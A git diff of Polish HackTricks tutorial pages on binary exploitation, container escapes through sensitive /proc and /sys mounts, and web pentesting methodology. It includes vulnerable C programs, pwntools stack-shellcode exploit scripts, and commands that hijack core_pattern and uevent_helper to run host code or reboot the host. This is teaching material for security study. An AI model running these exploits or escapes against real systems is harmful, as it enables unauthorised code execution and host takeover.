W ARM64, **prologi i epilogi** funkcji **nie przechowują i nie przywracają rejestru SP** na stosie. Dlatego domyślnie **nie będziesz mógł kontrolować rejestru SP** poprzez nadpisanie pewnych danych wewnątrz stosu.
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -0,0 +1,99 @@
# Kod Shellcode na Stosie
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
</details>
## Podstawowe Informacje
**Kod shellcode na stosie** to technika używana w **eksploatacji binarnej**, gdzie atakujący zapisuje shellcode do stosu podatnego programu, a następnie modyfikuje **Wskaźnik Instrukcji (IP)** lub **Rozszerzony Wskaźnik Instrukcji (EIP)**, aby wskazywał na lokalizację tego shellcode, co powoduje jego wykonanie. Jest to klasyczna metoda używana do uzyskania nieautoryzowanego dostępu lub wykonania dowolnych poleceń na systemie docelowym. Oto rozbudowany opis procesu, w tym prosty przykład w języku C i sposób napisania odpowiadającego exploitu przy użyciu Pythona z **pwntools**.
### Przykład w języku C: Podatny Program
Zacznijmy od prostego przykładu podatnego programu w języku C:
```c
#include <stdio.h>
#include <string.h>
void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}
int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}
```
Ten program jest podatny na przepełnienie bufora ze względu na użycie funkcji `gets()`.
### Kompilacja
Aby skompilować ten program, wyłączając różne zabezpieczenia (aby zasymulować środowisko podatne na ataki), można użyć poniższej komendy:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
* `-fno-stack-protector`: Wyłącza ochronę stosu.
* `-z execstack`: Sprawia, że stos jest wykonywalny, co jest konieczne do wykonania shellcode przechowywanego na stosie.
* `-no-pie`: Wyłącza wykonywalne niezależne od pozycji, ułatwiając przewidywanie adresu pamięci, w którym znajdzie się nasz shellcode.
* `-m32`: Kompiluje program jako wykonywalny 32-bitowy, często używany ze względu na prostotę w tworzeniu exploitów.
### Python Exploit z użyciem Pwntools
Oto jak można napisać exploit w Pythonie, korzystając z **pwntools**, aby przeprowadzić atak **ret2shellcode**:
```python
from pwn import *
# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture
# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
# Send the payload
p.sendline(payload)
p.interactive()
```
Ten skrypt konstruuje ładunek składający się z **slajdu NOP**, **kodu powłoki**, a następnie nadpisuje **EIP** adresem wskazującym na slajd NOP, zapewniając wykonanie kodu powłoki.
**Slajd NOP** (`asm('nop')`) jest używany do zwiększenia szansy, że wykonanie "poślizgnie się" do naszego kodu powłoki bez względu na dokładny adres. Dostosuj argument `p32()` do adresu początkowego bufora plus przesunięcia, aby trafić na slajd NOP.
## Protections
* [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **powinien być wyłączony**, aby adres był niezawodny podczas kolejnych wykonan lub adres, pod którym będzie przechowywana funkcja, nie będzie zawsze taki sam, i będziesz potrzebować wycieku, aby dowiedzieć się, gdzie jest załadowana funkcja win.
* [**Canary na stosie**](../../common-binary-protections-and-bypasses/stack-canaries/) powinien być również wyłączony, w przeciwnym razie skompromitowany adres powrotu EIP nie zostanie nigdy wykonany.
* [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) ochrona **stosu** uniemożliwi wykonanie kodu powłoki wewnątrz stosu, ponieważ ta strefa nie będzie wykonawcza.
## Inne przykłady i odnośniki
* [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
* [https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html)
* 64-bitowy, ASLR z wyciekiem adresu stosu, napisz kod powłoki i skocz do niego
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html)
* 32-bitowy, ASLR z wyciekiem adresu stosu, napisz kod powłoki i skocz do niego
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html)
* 32-bitowy, ASLR z wyciekiem adresu stosu, porównanie w celu zapobieżenia wywołaniu exit(), nadpisanie zmiennej wartością, napisz kod powłoki i skocz do niego

View file

@ -0,0 +1,85 @@
# Kod Shellcode - arm64
<details>
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
Znajdź wprowadzenie do arm64 w:
{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
[arm64-basic-assembly.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
{% endcontent-ref %}
## Kod&#x20;
```c
#include <stdio.h>
#include <unistd.h>
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
```
Kompiluj bez pie, canary i nx:
{% code overflow="wrap" %}
```bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
```
## Brak ASLR & Brak canary - Przepełnienie stosu&#x20;
Aby zatrzymać ASLR wykonaj:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
Aby uzyskać **przesunięcie bof sprawdź ten link**.
Wykorzystanie:
```python
from pwn import *
# Load the binary
binary_name = './bof'
elf = context.binary = ELF(binary_name)
# Generate shellcode
shellcode = asm(shellcraft.sh())
# Start the process
p = process(binary_name)
# Offset to return address
offset = 72
# Address in the stack after the return address
ret_address = p64(0xfffffffff1a0)
# Craft the payload
payload = b'A' * offset + ret_address + shellcode
print("Payload length: "+ str(len(payload)))
# Send the payload
p.send(payload)
# Drop to an interactive session
p.interactive()
```
Jedyną "skomplikowaną" rzeczą do znalezienia tutaj byłby adres na stosie do wywołania. W moim przypadku wygenerowałem exploit z adresem znalezionym za pomocą gdb, ale potem podczas jego wykorzystywania nie działał (ponieważ adres stosu trochę się zmienił).
Otworzyłem wygenerowany plik **`core`** (`gdb ./bog ./core`) i sprawdziłem rzeczywisty adres początku shellcode'u.

View file

@ -2,7 +2,7 @@
<details>
<summary><strong>Zacznij od zera i stań się ekspertem od hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
@ -14,7 +14,7 @@ Inne sposoby wsparcia HackTricks:
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -22,7 +22,7 @@ Ujawnienie `/proc` i `/sys` bez odpowiedniej izolacji przestrzeni nazw wprowadza
**Możesz znaleźć dalsze szczegóły dotyczące każdej potencjalnej luki w** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
## Zagrożenia związane z procfs
## Zagrożenia procfs
### `/proc/sys`
@ -31,29 +31,29 @@ Ten katalog umożliwia dostęp do modyfikacji zmiennych jądra, zazwyczaj za pom
#### **`/proc/sys/kernel/core_pattern`**
* Opisany w [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
* Umożliwia zdefiniowanie programu do wykonania podczas generowania pliku rdzenia z pierwszymi 128 bajtami jako argumentami. Może to prowadzić do wykonania kodu, jeśli plik zaczyna się od rury `|`.
* Pozwala zdefiniować program do wykonania podczas generowania pliku rdzenia z pierwszymi 128 bajtami jako argumentami. Może to prowadzić do wykonania kodu, jeśli plik zaczyna się od rury `|`.
* **Przykład testowania i eksploatacji**:
```bash
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test dostępu do zapisu
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # Ustawianie niestandardowego obsługującego
sleep 5 && ./crash & # Wywołanie obsługującego
echo "|$overlay/shell.sh" > core_pattern # Ustawianie niestandardowego obsługiwacza
sleep 5 && ./crash & # Wywołanie obsługiwacza
```
#### **`/proc/sys/kernel/modprobe`**
* Szczegóły w [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
* Szczegółowo opisany w [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
* Zawiera ścieżkę do ładowacza modułów jądra, wywoływanego do ładowania modułów jądra.
* **Przykład sprawdzania dostępu**:
```bash
ls -l $(cat /proc/sys/kernel/modprobe) # Sprawdź dostęp do modprobe
ls -l $(cat /proc/sys/kernel/modprobe) # Sprawdzanie dostępu do modprobe
```
#### **`/proc/sys/vm/panic_on_oom`**
* Odwołanie w [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
* Wzmiankowany w [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
* Globalna flaga kontrolująca, czy jądro ma panikować czy wywoływać zabójcę OOM, gdy wystąpi warunek OOM.
#### **`/proc/sys/fs`**
@ -101,7 +101,7 @@ echo b > /proc/sysrq-trigger # Ponowne uruchomienie hosta
* Interfejsuje z urządzeniem pamięci jądra `/dev/mem`.
* Historycznie podatny na ataki eskalacji uprawnień.
* Więcej w [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
* Więcej na temat [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
#### **`/proc/kcore`**
@ -112,7 +112,7 @@ echo b > /proc/sysrq-trigger # Ponowne uruchomienie hosta
#### **`/proc/kmem`**
* Alternatywny interfejs dla `/dev/kmem`, reprezentujący wirtualną pamięć jądra.
* Alternatywny interfejs dla `/dev/kmem`, reprezentujący pamięć wirtualną jądra.
* Umożliwia odczytywanie i zapisywanie, co umożliwia bezpośrednią modyfikację pamięci jądra.
#### **`/proc/mem`**
@ -123,14 +123,14 @@ echo b > /proc/sysrq-trigger # Ponowne uruchomienie hosta
#### **`/proc/sched_debug`**
* Zwraca informacje o harmonogramowaniu procesów, omijając zabezpieczenia przestrzeni nazw PID.
* Ujawnia nazwy procesów, identyfikatory PID i identyfikatory cgroup.
* Ujawnia nazwy procesów, identyfikatory PID i grupy cgroup.
#### **`/proc/[pid]/mountinfo`**
* Udostępnia informacje o punktach montowania w przestrzeni nazw montowania procesu.
* Ujawnia lokalizację `rootfs` kontenera lub obrazu.
### Zagrożenia związane z `/sys`
### Zagrożenia sysfs
#### **`/sys/kernel/uevent_helper`**
@ -138,23 +138,23 @@ echo b > /proc/sysrq-trigger # Ponowne uruchomienie hosta
* Zapisywanie do `/sys/kernel/uevent_helper` może uruchamiać arbitralne skrypty po wyzwaleniu `uevent`.
* **Przykład eksploatacji**: %%%bash
## Tworzy ładunek
### Tworzy ładunek
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
## Znajduje ścieżkę hosta z montażu OverlayFS dla kontenera
### Znajduje ścieżkę hosta z montowania OverlayFS dla kontenera
host\_path=$(sed -n 's/._\perdir=(\[^,]_).\*/\1/p' /etc/mtab)
## Ustawia uevent\_helper na złośliwego pomocnika
### Ustawia uevent\_helper na złośliwego pomocnika
echo "$host\_path/evil-helper" > /sys/kernel/uevent\_helper
## Wywołuje uevent
### Wywołuje uevent
echo change > /sys/class/mem/null/uevent
## Odczytuje wynik
### Odczytuje wynik
cat /output %%%
#### **`/sys/class/thermal`**
@ -163,7 +163,7 @@ cat /output %%%
#### **`/sys/kernel/vmcoreinfo`**
* Ujawnia adresy jądra, potencjalnie kompromitując KASLR.
* Wycieka adresy jądra, potencjalnie kompromitując KASLR.
#### **`/sys/kernel/security`**
@ -172,8 +172,8 @@ cat /output %%%
#### **`/sys/firmware/efi/vars` and `/sys/firmware/efi/efivars`**
* Ujawnia interfejsy do interakcji z zmiennymi EFI w NVRAM.
* Niewłaściwa konfiguracja lub eksploatacja może prowadzić do zablokowania laptopów lub niemożności uruchomienia hosta.
* Ujawnia interfejsy do interakcji z zmiennymi EFI w pamięci NVRAM.
* Niewłaściwa konfiguracja lub eksploatacja może prowadzić do zablokowania laptopów lub niemożliwości uruchomienia hosta.
#### **`/sys/kernel/debug`**
@ -186,7 +186,7 @@ cat /output %%%
* [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf)
* [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -199,7 +199,7 @@ Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -2,12 +2,12 @@
<details>
<summary><strong>Zacznij od zera i stań się ekspertem od hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Zacznij od zera i zostań ekspertem od hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną na HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
@ -16,13 +16,13 @@ Inne sposoby wsparcia HackTricks:
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
Jeśli interesuje Cię **kariera w dziedzinie hakerstwa** i hakowanie niemożliwych do zhakowania - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
Jeśli interesuje Cię **kariera hakerska** i hakowanie niemożliwych do zhakowania - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego, zarówno pisemna, jak i mówiona_).
{% embed url="https://www.stmcyber.com/careers" %}
## Podstawowe informacje
Usługa internetowa jest najbardziej **powszechną i rozległą usługą**, w której istnieje wiele **różnych rodzajów podatności**.
Usługa internetowa to najbardziej **powszechna i rozległa usługa**, w której istnieje wiele **różnych rodzajów podatności**.
**Domyślny port:** 80 (HTTP), 443(HTTPS)
```bash
@ -51,13 +51,13 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
* [ ] Czy istnieje **specjalistyczne narzędzie skanujące** do uruchomienia (np. wpscan)?
* [ ] Uruchom **skanery ogólnego przeznaczenia**. Nigdy nie wiesz, czy znajdą coś ciekawego.
* [ ] Rozpocznij od **początkowych sprawdzeń**: **robots.txt**, **mapa witryny (sitemap)**, błąd **404** i skan **SSL/TLS** (jeśli HTTPS).
* [ ] Rozpocznij **przeglądanie strony**: Czas znaleźć wszystkie możliwe **pliki, foldery** i **parametry** używane. Sprawdź również **specjalne znaleziska**.
* [ ] _Zauważ, że za każdym razem, gdy podczas prób siłowych lub przeglądania odkryjesz nowy katalog, należy go przeszukać._
* [ ] **Próba siłowego przeglądania katalogów**: Spróbuj siłowo przeszukać wszystkie odkryte foldery w poszukiwaniu nowych **plików** i **katalogów**.
* [ ] _Zauważ, że za każdym razem, gdy podczas prób siłowych lub przeglądania odkryjesz nowy katalog, należy go siłowo przeszukać._
* [ ] Rozpocznij **indeksowanie** strony internetowej: Czas **odnaleźć** wszystkie możliwe **pliki, foldery** i **parametry** używane. Sprawdź również **specjalne znaleziska**.
* [ ] _Zauważ, że za każdym razem, gdy podczas prób siłowych lub indeksowania odkryjesz nowy katalog, powinieneś go zindeksować._
* [ ] **Próba siłowa katalogów**: Spróbuj siłowo przejrzeć wszystkie odkryte foldery w poszukiwaniu nowych **plików** i **katalogów**.
* [ ] _Zauważ, że za każdym razem, gdy podczas prób siłowych lub indeksowania odkryjesz nowy katalog, powinieneś go siłowo przetestować._
* [ ] **Sprawdzanie kopii zapasowych**: Sprawdź, czy można znaleźć **kopie zapasowe** odkrytych plików, dodając powszechne rozszerzenia kopii zapasowych.
* [ ] **Siłowe przeglądanie parametrów**: Spróbuj znaleźć **ukryte parametry**.
* [ ] Gdy zidentyfikujesz wszystkie możliwe **punkty końcowe** akceptujące **dane użytkownika**, sprawdź wszelkie rodzaje związanych z nimi **podatności**.
* [ ] **Siłowe testowanie parametrów**: Spróbuj **odnaleźć ukryte parametry**.
* [ ] Gdy już **zidentyfikujesz** wszystkie możliwe **punkty końcowe** akceptujące **dane użytkownika**, sprawdź wszelkie rodzaje związanych z nimi **podatności**.
* [ ] [Postępuj zgodnie z tą listą kontrolną](../../pentesting-web/web-vulnerabilities-methodology.md)
## Wersja serwera (Podatny?)
@ -72,7 +72,7 @@ whatweb -a 3 <URL> #Aggresive
webtech -u <URL>
webanalyze -host https://google.com -crawl 2
```
Szukaj **podatności aplikacji internetowej** **w wersji**.
Szukaj **podatności aplikacji internetowej** **w wersji**](../../generic-methodologies-and-resources/search-exploits.md)
### **Sprawdź, czy istnieje WAF**
@ -82,7 +82,7 @@ Szukaj **podatności aplikacji internetowej** **w wersji**.
### Triki technologii internetowych
Kilka **trików** do **znajdowania podatności** w różnych znanych **technologiach**:
Kilka **trików** do **znajdowania podatności** w różnych znanych **technologiach** używanych:
* [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
* [**Apache**](apache.md)
@ -116,15 +116,15 @@ Kilka **trików** do **znajdowania podatności** w różnych znanych **technolog
* [**Wordpress**](wordpress.md)
* [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/)
_Miej na uwadze, że ta sama **domena** może używać **różnych technologii** na różnych **portach**, **folderach** i **subdomenach**._\
Jeśli aplikacja internetowa używa jakiejkolwiek znanej **technologii/platformy wymienionej wcześniej** lub **innej**, nie zapomnij **szukać w Internecie** nowych trików (i daj mi znać!).
_Miej na uwadze, że **ta sama domena** może używać **różnych technologii** na różnych **portach**, **folderach** i **subdomenach**._\
Jeśli aplikacja internetowa używa **jakiejkolwiek znanej technologii/platformy wymienionej wcześniej** lub **innej**, nie zapomnij **szukać w Internecie** nowych trików (i daj mi znać!).
### Przegląd kodu źródłowego
Jeśli **kod źródłowy** aplikacji jest dostępny w **github**, oprócz przeprowadzenia **testu White box** aplikacji na własną rękę, istnieje **kilka informacji**, które mogą być **przydatne** do obecnego **testu Black-Box**:
* Czy istnieje **dziennik zmian lub plik Readme lub informacje o wersji** dostępne przez sieć?
* Jak i gdzie są przechowywane **dane uwierzytelniające**? Czy istnieje (dostępny?) **plik** z danymi uwierzytelniającymi (nazwy użytkowników lub hasła)?
* Czy istnieje **dziennik zmian lub plik Readme lub informacje o wersji dostępne** przez sieć?
* Jak i gdzie są zapisane **dane uwierzytelniające**? Czy istnieje (dostępny?) **plik** z danymi uwierzytelniającymi (nazwy użytkowników lub hasła)?
* Czy **hasła** są w **czystym tekście**, **zaszyfrowane** lub jaki **algorytm haszowania** jest używany?
* Czy jest używany **klucz główny** do szyfrowania czegoś? Jaki **algorytm** jest używany?
* Czy możesz **uzyskać dostęp do któregokolwiek z tych plików** wykorzystując jakąś podatność?
@ -153,7 +153,7 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
Jeśli jest używany CMS, nie zapomnij **uruchomić skanera**, być może znajdziesz coś interesującego:
- [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
- [**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin** strony internetowe w poszukiwaniu problemów z bezpieczeństwem. (GUI)\
- [**CMSScan**](https://github.com/ajinabraham/CMSScan): Strony [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin** w poszukiwaniu problemów zabezpieczeń. (GUI)\
- [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal.md)**, PrestaShop, Opencart**\
- **CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal.md) **lub** [**(M)oodle**](moodle.md)\
- [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal.md)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
@ -187,21 +187,21 @@ Serwery WWW mogą **zachowywać się niespodziewanie**, gdy do nich wysyłane s
* Otwórz **fałszywe strony** takie jak /cokolwiek\_fake.php (.aspx,.html,.itp)
* Dodaj "\[]", "]]" i "\[\[" w **wartościach ciasteczka** i **wartościach parametrów** aby wywołać błędy
* Wygeneruj błąd, wpisując dane wejściowe jako **`/~randomthing/%s`** na **końcu** **URL**
* Spróbuj użyć **różnych czasowników HTTP** jak PATCH, DEBUG lub błędny jak FAKE
* Spróbuj użyć **różnych czasowników HTTP** takich jak PATCH, DEBUG lub błędny, np. FAKE
#### **Sprawdź, czy możesz przesyłać pliki (**[**metoda PUT, WebDav**](put-method-webdav.md)**)**
Jeśli odkryjesz, że **WebDav** jest **włączony**, ale nie masz wystarczających uprawnień do **przesyłania plików** w głównym folderze, spróbuj:
Jeśli odkryjesz, że **WebDav** jest **włączony**, ale nie masz wystarczających uprawnień do **przesyłania plików** w folderze głównym, spróbuj:
* **Próbuj siłowo** dane uwierzytelniające
* **Próbuj siłowo** hasła
* **Prześlij pliki** za pomocą WebDav do **pozostałych znalezionych folderów** na stronie internetowej. Możesz mieć uprawnienia do przesyłania plików do innych folderów.
### **Luki w SSL/TLS**
### **Układy SSL/TLS**
* Jeśli aplikacja **nie wymusza użycia HTTPS** w żadnej części, to jest **podatna na atak typu MitM**
* Jeśli aplikacja **wysyła poufne dane (hasła) za pomocą protokołu HTTP**. To jest wysokie ryzyko.
* Jeśli aplikacja **nie wymusza użycia HTTPS** w żadnej części, to jest **podatna na ataki typu MitM**
* Jeśli aplikacja **wysyła poufne dane (hasła) za pomocą HTTP**. To jest to wysokie ryzyko.
Użyj [**testssl.sh**](https://github.com/drwetter/testssl.sh) do sprawdzania **luk w zabezpieczeniach** (W programach Bug Bounty tego rodzaju luki prawdopodobnie nie będą akceptowane) i użyj [**a2sv** ](https://github.com/hahwul/a2sv) do ponownego sprawdzenia luk w zabezpieczeniach:
Użyj [**testssl.sh**](https://github.com/drwetter/testssl.sh) do sprawdzania **luk w zabezpieczeniach** (W programach Bug Bounty prawdopodobnie tego rodzaju luki nie będą akceptowane) i użyj [**a2sv** ](https://github.com/hahwul/a2sv) do ponownego sprawdzenia podatności:
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@ -215,44 +215,44 @@ Informacje o podatnościach SSL/TLS:
* [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
* [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
### Spidering
### Przeglądanie stron
Uruchom pewnego rodzaju **pająka** w sieci. Celem pająka jest **znalezienie jak największej liczby ścieżek** w testowanej aplikacji. Dlatego należy wykorzystać przeszukiwanie sieci oraz zewnętrzne źródła, aby znaleźć jak najwięcej prawidłowych ścieżek.
